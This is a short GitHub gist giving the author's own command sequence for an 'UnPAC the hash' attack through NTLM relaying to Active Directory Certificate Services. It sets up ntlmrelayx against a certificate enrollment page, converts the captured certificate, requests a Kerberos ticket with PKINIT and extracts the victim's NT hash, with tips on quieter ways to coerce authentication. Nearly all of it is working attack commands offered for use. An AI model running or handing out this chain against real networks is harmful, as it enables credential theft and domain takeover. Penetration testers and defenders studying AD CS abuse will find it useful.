Created
February 14, 2022 13:52
-
-
Save zimnyaa/11b2960db1020019a1f3301bf02605c6 to your computer and use it in GitHub Desktop.
Command sequence I use for UnPAC the hash attacks with ADCS relaying
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# setting up the relay. I avoid LLMNR/NBNS/DHCPv6/etc, as they're too noisy, and prefer either UNC path injection | |
# (somewhere custom), or NTLM hash farming | |
python3 ./ntlmrelayx.py -t http://ca1.contoso.com/certsrv/certfnsh.asp --adcs -smb2support | |
# ntlmrelayx ADCS outputs an unencrypted .pfx | |
cat lowpriv.b64 | base64 --decode > lowpriv.pfx | |
# dirkjanm PKINITTools, had to patch impacket previously to output AES session keys | |
python3 gettgtpkinit.py contoso.com/lowpriv -cert-pfx lowpriv.pfx lowpriv.ccache -v | |
export KRB5CCNAME=lowpriv.ccache | |
# decrypting the PAC blob | |
python3 getnthash.py contoso.com/lowpriv -key <key> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment